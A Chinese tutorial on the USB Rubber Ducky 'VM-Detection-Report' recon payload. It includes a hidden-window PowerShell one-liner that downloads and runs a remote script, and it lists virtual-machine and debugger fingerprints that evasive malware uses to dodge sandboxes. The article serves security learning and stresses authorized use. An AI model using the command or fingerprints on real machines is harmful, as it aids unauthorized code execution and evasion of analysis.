ARTICLE DETAIL

资讯详情

深耕编程入门与网站建设的一线实战洞察。

VM-Detection-Report Payload 完整教程:USB Rubber Ducky如何识别虚拟机目标

VM-Detection-Report Payload 完整教程:USB Rubber Ducky如何识别虚拟机目标 VM-Detection-Report Payload 完整教程USB Rubber Ducky如何识别虚拟机目标【免费下载链接】usbrubberducky-payloadsThe Official USB Rubber Ducky Payload Repository项目地址: https://gitcode.com/GitHub_Trending/us/usbrubberducky-payloadsVM-Detection-Report是 usbrubberducky-payloads 官方 Payload 仓库中一个面向 Windows 10 的虚拟机检测 Payload。插入USB Rubber Ducky后它会自动打开 PowerShell从服务器拉取检测脚本 VM-Detection-Report.ps1通过注册表、MAC 地址、虚拟网卡、系统服务、BIOS 厂商、屏幕分辨率、调试器、进程监控等 7 大类方法判断当前机器是虚拟机、虚拟机宿主机还是物理机并输出彩色控制台报告 一份详细日志文本文件。一、什么是 VM 检测为什么新手需要关注它在渗透测试和安全研究中虚拟机检测VM Detection是一个基础技能安全研究很多免杀样本会先判断是否在虚拟机里再决定是否工作学会 VM 检测原理才能看懂免杀逻辑️防御分析判断一台主机是否暴露了明显的虚拟机特征有助于评估其被侦察的风险自动化测试CI/CD 环境经常需要自动识别当前跑在虚拟机还是物理机。VM-Detection-Report 正是用USB Rubber Ducky 这款键盘型硬件来自动化完成这件事Ducky 被主机识别为 USB 键盘在系统启动后自动盲打出命令全程无需人工干预。⚠️ 本 Payload 作者已在脚本头部明确标注仅可在自己拥有或获得授权的系统上测试使用见 Payload.txt 第 7 行的 REM 声明。二、Payload 文件结构与工作原理该 Payload 位于官方仓库的侦察recon分类下包含 3 个文件文件作用payloads/library/recon/VM-Detection-Report/Payload.txtDuckyScript 主脚本负责盲打引导命令payloads/library/recon/VM-Detection-Report/VM-Detection-Report.ps1核心检测脚本PowerShellpayloads/library/recon/VM-Detection-Report/README.md使用说明工作流程3 步等待 Windows 就绪Payload 内置了PASSIVE_WINDOWS_DETECT扩展等待最长 150 秒确认主机是 Windows 后才继续非 Windows 系统会亮红灯并停止拉起 PowerShell通过GUI r打开运行框输入powershell -Ep Bypass -W H -C IRM #SCRIPTURL | iex即下载并执行远程托管的 ps1 脚本生成检测报告脚本运行后输出彩色控制台结果并把逐条命中详情追加写入%TEMP%\VMdetect.log文本文件。 新手注意使用前必须把 Payload 中的#SCRIPTURL替换为你自己服务器托管的 ps1 原始文件地址第 10 行DEFINE #SCRIPTURL ...。三、7 大检测维度它到底检查了什么打开 VM-Detection-Report.ps1 可以看到脚本把检测拆成了多个函数覆盖了从虚拟机宿主机到输入设备的完整链路1️⃣ 虚拟机宿主机特征Test-VMHostNetwork判断这台机器本身是不是跑虚拟机的宿主机网卡服务名是否含vmxnetVMware 宿主机、VBoxNetVirtualBox 宿主机宿主机特有的注册表项HKLM:\SYSTEM\CurrentControlSet\Services\VBox*与驱动目录C:\WINDOWS\system32\drivers\VBox*MAC 地址是否以 VMware 宿主机典型前缀005056开头。2️⃣ 虚拟机环境特征Test-VirtualMachine判断这台机器自己是不是虚拟机这是最核心的一组检测项依据VMware 注册表HKLM:\SOFTWARE\VMware, Inc.\VMware Tools、vmmouse.sys、vmhgfs.sys驱动VirtualBox 注册表Guest Additions 项、ACPIVBOX__签名DSDT/FADT/RSDT、BIOS 版本串网卡 MAC 前缀VirtualBox080027VMware000569/000C29/001C14系统服务vmtools、vmmouse、vmhgfs、vmci、VBoxService、VBoxSF硬件制造商Win32_ComputerSystem.Manufacturer是否为 VMware、Xen、QEMU、Microsoft 等机型与 BIOS机型是否为Virtual Machine/VirtualBox/KVM/BochsBIOS 厂商是否为Phoenix Technologies/SeaBIOS等3️⃣ 屏幕分辨率Test-Screensize读取主屏分辨率与 11 种常见真实分辨率1280x720 3840x2160比对不命中清单就标记为可疑——这是很多免杀逻辑里的经典分辨率指纹技巧。4️⃣ 调试与监控软件Test-Debugger调用 Windows APIIsDebuggerPresent与CheckRemoteDebuggerPresent判断进程是否正被调试枚举 10 个常见分析/监控进程taskmgr、procmon、procexp、perfmon、resmon、ProcessHacker等命中任意一个即Detected。5️⃣ 硬件与真实用户痕迹Test-Hardware用行为痕迹反向证明是否有人在真实使用机器系统开机时长是否超过 1 小时虚拟机常用完即关C 盘容量是否大于 64GB物理内存是否大于 1GBCPU 核心数是否大于 2是否检测到鼠标输入设备弹出一个Confirm You Are Not A Robot对话框检测是否有人真实点击——这是最有意思的一项人机验证式检测。6️⃣ 最终结论Verdict所有检查汇总后给出三选一结论该环境看起来托管着虚拟机宿主机该环境看起来就是一台虚拟机该环境不太像虚拟机倾向物理机7️⃣ 详细日志每一项的命中原因都会追加写入%TEMP%\VMdetect.log例如Detected VMware Host MAC address: 00-50-56-xx-xx-xx Detected VM service: vmtools控制台看结论日志文件查细节报告双通道输出方便归档与复盘。四、快速上手步骤在仓库中找到 Payload 目录 payloads/library/recon/VM-Detection-Report/用 Hak5PayloadStudio打开 Payload.txt 编译成 Ducky 可执行格式仓库要求所有 Payload 必须用 PayloadStudio 编译见 README.md把第 10 行#SCRIPTURL改为你自己服务器上的VM-Detection-Report.ps1原始文件地址将 Ducky 插入自己拥有或已获授权的 Windows 10 机器启动后等待 PowerShell 窗口弹出查看控制台彩色报告再到临时文件目录打开VMdetect.log查看详细日志。 如果想自己动手修改检测项比如增加对 Hyper-V、KVM 的检测只需要在 ps1 里按同样的Write-Host Out-File模式追加检查函数即可结构非常清晰适合作为新手学习 DuckyScript PowerShell 自动化的范本。五、常见问题 FAQQ1为什么 Payload 要远程下载 ps1 而不是直接按键输入DuckyScript 只能打字几百行的 PowerShell 脚本靠模拟键盘输入极慢且易错。采用IRM URL | iexInvoke-WebRequest 下载 iex 执行是 Ducky 生态的标准做法仓库中大量 Payload 都采用这一模式。Q2目标机器是 macOS / Linux 会怎样Payload 开头内置PASSIVE_WINDOWS_DETECT扩展做被动 OS 探测非 Windows 系统会直接亮红灯LED_R并STOP_PAYLOAD停止不会误触。Q3检测全部 OK 就一定是物理机吗不是。VM 检测本质是特征指纹匹配虚拟机做了特征清理改 MAC、改注册表、调分辨率就可能漏检反过来部分小型化物理机也可能因内存/磁盘偏小被误标。结论应结合日志综合判断。Q4日志文件在哪里%TEMP%\VMdetect.log即此电脑 → 临时文件目录可直接复制出来归档。六、写在最后VM-Detection-Report 用一份结构清晰的 PowerShell 脚本 一段不到 50 行的 DuckyScript完整演示了USB 键盘硬件 → 自动打开终端 → 远程执行脚本 → 双通道报告这条 Ducky 经典链路同时把注册表、MAC 前缀、服务、BIOS、屏幕、调试器、行为痕迹 7 大类虚拟机指纹一网打尽是理解虚拟机检测原理和DuckyScript 工程实践的绝佳入门样本。⚠️再次提醒本 Payload 仅可用于自己拥有或已获明确授权的系统未经授权在他人设备上使用属于违法行为请务必遵守法律法规与职业道德。【免费下载链接】usbrubberducky-payloadsThe Official USB Rubber Ducky Payload Repository项目地址: https://gitcode.com/GitHub_Trending/us/usbrubberducky-payloads创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表